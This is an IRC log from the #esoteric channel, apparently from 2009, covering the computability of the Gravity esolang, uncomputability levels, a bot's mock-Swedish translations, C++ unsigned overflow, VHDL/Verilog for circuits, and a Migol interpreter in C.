infinities! < 1244542262 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It totally works with surreal numbers < 1244542277 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Although I'm not sure if their infinities are actually ordered < 1244542381 0 :psygnisfive!n=psygnisf@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1244542450 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :psognos < 1244542469 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :sup < 1244542570 0 :Hiato!unknown@unknown.invalid QUIT :Read error: 54 (Connection reset by peer) < 1244542810 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :sciencing and shit < 1244542865 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :are there any programming languages based apon newtonian mechanics? < 1244542879 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Gravity < 1244542882 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which is uncomputable < 1244542890 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :hmm but like < 1244542895 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :bouncing billard balls off each other and stuff < 1244542900 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :but not tile-based, continuous < 1244543166 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :ais523 : That always bugged me < 1244543173 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :How is it uncomputable exactly? < 1244543195 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lereah_: because general floating-point numbers don't fit into finite memory < 1244543213 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's an uncountable number of real numbers < 1244543217 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but only a countable number of integers < 1244543233 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so you have to approximate the calculation < 1244543257 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Well, actually, no < 1244543266 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Gravity uses, at the very least, definable number < 1244543276 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :At least I'm pretty sure < 1244543283 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :So there's a countable number of those < 1244543299 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :They might be non-computable, but I'm not too sure of that either < 1244543328 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Comments are "Apparently Penrose proved that certain questions in gravitational systems are undecidable. Unfortunately I can't remember where I read about it.", but it's rather vague < 1244543345 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Also "(Incidentally, even the solutions of the differential equations for a three-body gravitational system are non-computable.)", which is false < 1244543355 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It has no analytical solution, but it's computable < 1244543475 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :That Chris Pressey fellow says that it's computable, too < 1244543490 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, interesting < 1244543490 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Hey, it's the cat's eye dude? < 1244543499 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1244543572 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :there are an infinite number of masses in Gravity though < 1244543581 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :there's no general solution < 1244543596 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Patashu : That's a poor proof of non-computability though < 1244543614 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :A Turing Machine with infinitely many filled cells is also uncomputable < 1244543626 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :At least in a general case < 1244543670 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, if the method by which they're filled is itself uncomputable < 1244543684 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :that statement by itself isn't proof of anything, no ;) < 1244543685 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Most conditions on TC-ness call for at least some limitations on the filling of the memory < 1244543715 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :I guess you could see what Penrose has to say about it, but 'till then, I'm doubtful < 1244543729 0 :ais523!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1244543763 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :oh hmm < 1244543806 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :is the infinite grid of masses in Gravity < 1244543810 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :1 unit mass or 0 unit mass < 1244543941 0 :ais523!n=ais523@147.188.254.128 JOIN :#esoteric < 1244543983 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :"The basic configuration of space in Gravity is an infinite set of point particles of unit mass with no velocity on a regular square grid" < 1244544032 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :k < 1244544044 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It's also on a discrete grid < 1244544051 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Do they move on a continuum at least? < 1244544056 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :of course they do < 1244544072 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :discrete gravity doesn't make sense < 1244544089 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :A lot of simulations use discrete grids < 1244544150 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :that wouldn't be Gravity then, that would be Approximate Gravity < 1244544181 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Well, that still isn't gravity if it uses Newtonian gravity < 1244544314 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :At least with general relativity, you'd be able to to Gravity and Two Ducks at the same time < 1244544346 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1244544347 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG < 1244544349 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Two ducks < 1244544432 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Proof for TCness of gravity would prolly be a bitch though < 1244544467 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Do we know if it's at least TC by the way? < 1244544483 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It has no BF in it < 1244544495 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :no brainfuck in it? fuck what are we to do < 1244544497 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1244544505 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :if something is uncomputable is it turing complete? < 1244544528 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :actually...if something is uncomputable, how can it still happen (e.g. in real life) ? < 1244544546 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :well I guess the universe is technically discrete < 1244544547 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :so hmm < 1244544547 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Patashu : Something uncomputable can still be at least TC < 1244544554 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Like a Turing Machine + oracle < 1244544569 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :But it can just be uncomputable and unable to do shit < 1244544570 0 :GreaseMonkey!unknown@unknown.invalid QUIT :"YES -> thor-ainor.it <- THIS IS *DELICIOUS*!" < 1244544583 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Well, useful shit < 1244544627 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :like < 1244544637 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :a programming language that can solve the twin prime conjecture and do nothing else < 1244544637 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :? < 1244544638 0 :ais523!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1244544669 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Well, I don't know if it's uncomputable, but I guess < 1244544691 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :integral of the riemann-zeta function or something < 1244544797 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Solving the halting problem would totally make it TC, but I don't know about the rest, though < 1244544820 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :lereah_ knows lots about zeta functions < 1244544824 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Are all uncomputable problems somehow transformable into the Halting Problem? < 1244544832 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :psygnisfive : oh you <3 < 1244544835 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1244544835 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1244544835 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :I think so < 1244544847 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1244544893 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :no because solving the halting problem would let you solve any problem basically < 1244544894 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :I seem to recall something about an uncomputable machine that would just churn out random numbers < 1244544899 0 :Patashu!unknown@unknown.invalid PRIVMSG #esoteric :while otoh you could only be able to solve one uncomputable problem < 1244544925 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Well, infinite random numbers < 1244544939 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Finite ones you can do the random TC thing on it < 1244544980 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :n8 < 1244545428 0 :FireFly!unknown@unknown.invalid QUIT :hubbard.freenode.net irc.freenode.net < 1244545433 0 :Corun!n=Corun@94-194-27-43.zone8.bethere.co.uk JOIN :#esoteric < 1244545719 0 :FireFly!n=FireFly@1-1-3-36a.tul.sth.bostream.se JOIN :#esoteric < 1244547003 0 :Patashu!unknown@unknown.invalid QUIT :"Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 ." < 1244547825 0 :Corun!unknown@unknown.invalid QUIT :"Leaving..." < 1244547828 0 :ais523!n=ais523@147.188.254.128 JOIN :#esoteric < 1244548531 0 :psygnisfive!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244549645 0 :amca!unknown@unknown.invalid QUIT :"Farewell" < 1244550649 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :! < 1244550755 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :? < 1244550840 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :‽ < 1244550896 0 :Corun!n=Corun@146.169.24.102 JOIN :#esoteric < 1244551038 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!@ < 1244551091 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Gravity was invented by Safalra (Stephen Morley) on 4th August 2005, based on a idea from Isaac Newton. Gravity is very different from any other existing programming language. Although its behavior is well-defined and deterministic, the evolution of its space is in general non-computable, due to the nature of the differential equations that govern it. < 1244551092 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Grefeety ves infented by Seffelra (Stephee Murley) oon 4t Oogoost 2005, besed oon a idea frum Iseec Nootun. Grefeety is fery deefffferent frum uny oozeer ixeesting prugremmeeng lungooege-a. Elthuoogh its behefeeur is vell-deffeened und determeenistic, zee ifulooshun ooff its spece-a is in generel nun-cumpooteble-a, dooe-a tu zee netoore-a ooff zee deefffferentiel iqooeshuns thet gufern it. Bork Bork Bork! < 1244551099 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1244551164 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Iseec Nooton < 1244551263 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :?|=c'1+=c'1-`+"4:#Mm+c"4#Mm1 {VS} ?=c'1+:#Mm+#Mm1?=c'1-:#Mm-#Mm1 < 1244551264 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :? < 1244551273 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish f < 1244551274 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :f < 1244551278 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish ff < 1244551279 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :fff < 1244551282 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish fff < 1244551283 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :fffff < 1244551286 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish fffff < 1244551287 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :fffffffff < 1244551290 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :fffffffffffffffffffffffff < 1244551303 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Bork Bork Bork < 1244551303 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Burk Bork Bork < 1244551308 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fail < 1244551760 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish burqah < 1244551761 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :boorqeh < 1244551969 0 :MizardX!unknown@unknown.invalid PRIVMSG #esoteric :!swedish hello world < 1244551969 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hellu vurld < 1244552009 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedist 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall! < 1244552016 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :!swedish 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall! < 1244552017 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :99 buttles ooff beer oon zee vell, 99 buttles ooff beer! Yuoo teke-a oone-a doon und pess it eruoond, 98 buttles ooff beer oon zee vell! Bork Bork Bork! < 1244552040 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :BORK BORK BORK < 1244552719 0 :sebbu2!n=sebbu@ADijon-152-1-23-120.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1244552886 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Is unsigned integer underflow well-defined in C++? < 1244552895 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, it wraps < 1244552914 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :signed underflow/overflow is undefined, though < 1244552918 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I'd expect it to do that anywhere, but it's in the standard? < 1244552919 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Alright < 1244552921 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Cheers < 1244553638 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you want the exact wording, C99 6.2.5 Types: "A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo [what you'd expect]". < 1244553669 0 :sebbu!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244553669 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1244553848 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: C++, not C99. Though I don't need the exact wording anyway. < 1244553855 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, misread. < 1244553980 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also, as far as I can determine, the standard uses the word "overflow" (occasionally as "positive overflow" or "negative overflow") for any got-out-of-range activities, and "underflow" is reserved for the floating-point "the magnitude of the mathematical result is so small that the mathematical result cannot be represented, without extraordinary roundoff error, in an object of the specied type" case. < 1244555582 0 :Corun!unknown@unknown.invalid QUIT :"Leaving..." < 1244555877 0 :nooga!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1244556040 0 :MigoMipo!n=MigoMipo@84-217-0-115.tn.glocalnet.net JOIN :#esoteric < 1244556525 0 :nooga!n=nooga@dot61.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1244556857 0 :lereah_!unknown@unknown.invalid QUIT :Remote closed the connection < 1244556985 0 :psygnisfive!n=psygnisf@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1244557021 0 :Judofyr!unknown@unknown.invalid QUIT :Remote closed the connection < 1244557180 0 :nooga!unknown@unknown.invalid QUIT :"Leaving..." < 1244557708 0 :Corun!n=Corun@146.169.24.102 JOIN :#esoteric < 1244559169 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: 54 (Connection reset by peer) < 1244559206 0 :whtspc!n=chatzill@cust-03-55bf0f95.adsl.scarlet.nl JOIN :#esoteric < 1244559232 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1244559241 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1244559263 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :I only come here when I have a question < 1244559279 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :it's about boolean algebra < 1244559280 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fair enough, although it's fun to listen in on the conversation as well < 1244559291 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what is the question? < 1244559320 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :I understand there is a notation for boolean algebra < 1244559352 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1244559357 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :but I don't know if you can put a whole circuit diagram in a line of text < 1244559358 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :more than one, in fact < 1244559359 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :? < 1244559369 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and you can, but it wouldn't be easy to read < 1244559386 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :it would be much like programming in an esolang < 1244559407 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1244559410 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or in an ordinary language < 1244559418 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :VHDL, for instance, can express circuit diagrams pretty well < 1244559425 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was one of the things it was designed for < 1244559430 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but then, VHDL's almost an esolang as it is < 1244559449 0 :Corun!unknown@unknown.invalid QUIT :"Leaving..." < 1244559474 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :that's interesting < 1244559507 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :is an electronic circuit a program? < 1244559517 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sort-of < 1244559522 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :VHDL's designed to be compiled into hardware < 1244559551 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :or is the lack of recursion important < 1244559575 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware < 1244559583 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't even have loops in the synthesizable subsets < 1244559589 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, it has for-generate, but that's always unrolled < 1244559748 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :I will read into VHDL, I think it will clear things up < 1244559782 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or muddy them, depending on your point of view < 1244559815 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, but maybe I'm not quite sure what I'm looking for :) < 1244559851 0 :BeholdMyGlory!n=behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1244559919 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :I would like to setup circuit diagrams, in one string of characters < 1244559967 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :I'm looking for the best way to lose the 2 dimensions that are usually used to display circuits < 1244559990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you might want to look into Verilog rather than VHDL; nowadays they're the same language as they stole all of each other's features, but with different syntax < 1244559993 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :1 of the 2 dimensions I mean < 1244560003 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in VHDL you have to declare everything, in Verilog lots of stuff are implicit < 1244560007 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so I imagine it's better for one-liners < 1244560064 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :I see it's better readable for someone like me too < 1244560084 0 :whtspc!unknown@unknown.invalid PRIVMSG #esoteric :thank you for your feedback < 1244560219 0 :oerjan!n=oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1244560890 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : Are all uncomputable problems somehow transformable into the Halting Problem? < 1244560909 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, just one "level" of uncomputability < 1244560918 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, there's more than one uncomputable computational class < 1244560923 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :see Banana Scheme and Brainhype < 1244560929 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just it's rare to bother with the distinctions, because we can't implement any of them anyway < 1244560977 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :for "any" class you can generate a larger class by using the halting problem for _that_ class < 1244561063 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because the proof of the halting problem's unsolvability doesn't depend on your fundamental operations, only on a minimal amount of ways to combine them - so adding more fundamental operations doesn't help getting the process to stop < 1244561091 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so you can keep adding new halting problem deciders for the previous level, ad nauseam < 1244561631 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote closed the connection < 1244562198 0 :whtspc!unknown@unknown.invalid QUIT :"ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]" < 1244562309 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/ < 1244563065 0 :pikhq_!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1244563682 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish gurkar i små burkar < 1244563683 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :goorker i små boorker < 1244563783 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish gurkar som torkar i små burkar < 1244563784 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :goorker sum turker i små boorker < 1244563863 0 :pikhq!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244563878 0 :pikhq_!unknown@unknown.invalid NICK :pikhq < 1244563935 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish gurkar som torkar i små burkar med bark < 1244563935 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :goorker sum turker i små boorker med berk < 1244563953 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it just won't take a hint! < 1244563962 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Bork bork bork! < 1244563962 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Burk bork bork! Bork Bork Bork! < 1244563979 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Burk bork bork! Bork Bork Bork! < 1244563980 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Boork bork bork! Bork Bork Bork! Bork Bork Bork! < 1244564084 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh right... < 1244564103 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Vi torkar gurkar i små burkar med bark. < 1244564104 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Fee turker goorker i små boorker med berk. Bork Bork Bork! < 1244564130 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish stupid punctuation! < 1244564130 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :stoopeed poonctooeshun! Bork Bork Bork! < 1244564252 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!swedish . . . < 1244564253 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :. . . Bork Bork Bork! < 1244564259 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Aaaw. < 1244564260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!swedish what about commas, i wonder < 1244564261 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :vhet ebuoot cummes, i vunder < 1244564312 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!swedish Bork? Bork? Bork? ¿Bork‽ < 1244564312 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Burk? Bork? Bork? ¿Bork‽ < 1244564331 0 :inurinternet!unknown@unknown.invalid QUIT :Connection timed out < 1244565833 0 :oerjan!unknown@unknown.invalid QUIT :"leaving" < 1244568810 0 :KingOfKarlsruhe!n=nice@HSI-KBW-091-089-027-168.hsi2.kabelbw.de JOIN :#esoteric < 1244568832 0 :GregorR-L!n=gregor@pal-179-094.itap.purdue.edu JOIN :#esoteric < 1244569856 0 :Hiato!n=1@dsl-245-14-154.telkomadsl.co.za JOIN :#esoteric < 1244570725 0 :Hiato!unknown@unknown.invalid QUIT :"Leaving." < 1244571139 0 :GregorR-L_!n=gregor@pal-179-094.itap.purdue.edu JOIN :#esoteric < 1244571243 0 :GregorR-L!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1244572333 0 :kar8nga!n=kar8nga@e-167.vc-graz.ac.at JOIN :#esoteric < 1244573280 0 :jix!n=jix@dyndsl-095-033-093-084.ewe-ip-backbone.de JOIN :#esoteric < 1244573379 0 :jix_!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1244573983 0 :Hiato!n=1@dsl-245-14-154.telkomadsl.co.za JOIN :#esoteric < 1244574501 0 :olsner!n=salparot@h-60-96.A163.priv.bahnhof.se JOIN :#esoteric < 1244575397 0 :kar8nga!unknown@unknown.invalid QUIT :Remote closed the connection < 1244575505 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :FireFly: if you are still interested, this is my implementation of Migol 09 in C: http://hg.mearie.org/esotope/migol/ < 1244575517 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :I'll take a look < 1244575577 0 :MigoMipo!n=MigoMipo@84.217.0.115 JOIN :#esoteric < 1244575807 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :That's impressive, I believe it's the biggest effort done with Migol so far? < 1244575919 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :maybe i can now start bigger project with it. XD < 1244575930 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :projects* < 1244576046 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :MigoMipo: http://hg.mearie.org/esotope/migol/ Migol interpreter in C. < 1244576070 0 :MigoMipo!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir: I know, really impressive! < 1244576076 0 :BeholdMyGlory!n=behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1244576078 0 :impomatic!n=John@nat67.mia.three.co.uk JOIN :#esoteric < 1244576085 0 :MigoMipo!unknown@unknown.invalid PRIVMSG #esoteric :I wrote my interpreter using nothing but the standard Regular Expression classes in Java. It is a bit slow. < 1244576093 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :hmm, were you notified by FireFly? :p < 1244576119 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps? :P < 1244576831 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Hm.. It isn't telling you which row/statement is errorneous, if it errors while parsing the code? < 1244576885 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :FireFly: for now, right. maybe implemented someday. :p < 1244576891 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :will be implemented* < 1244576935 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :I guess I'll just binary sort through my code then < 1244576984 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :FireFly: if you really want, change if (0) to if (1) in migol-parse.c. < 1244577000 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :it should print out internal compiled code. < 1244577001 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Ah, right, I forgot it was open source ._. < 1244577030 0 :GregorR-L_!unknown@unknown.invalid NICK :GregorR-L < 1244577073 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :anyway printing verbose report requires some changes, which is not done for simpler initial code. < 1244577286 0 :tetha!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1244577418 0 :tetha!n=hk@pD9EE6893.dip.t-dialin.net JOIN :#esoteric < 1244577481 0 :impomatic!unknown@unknown.invalid PART #esoteric :? < 1244578017 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Ah.. It raised an error on 'ö> < 1244578021 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Should've guessed :P < 1244579203 0 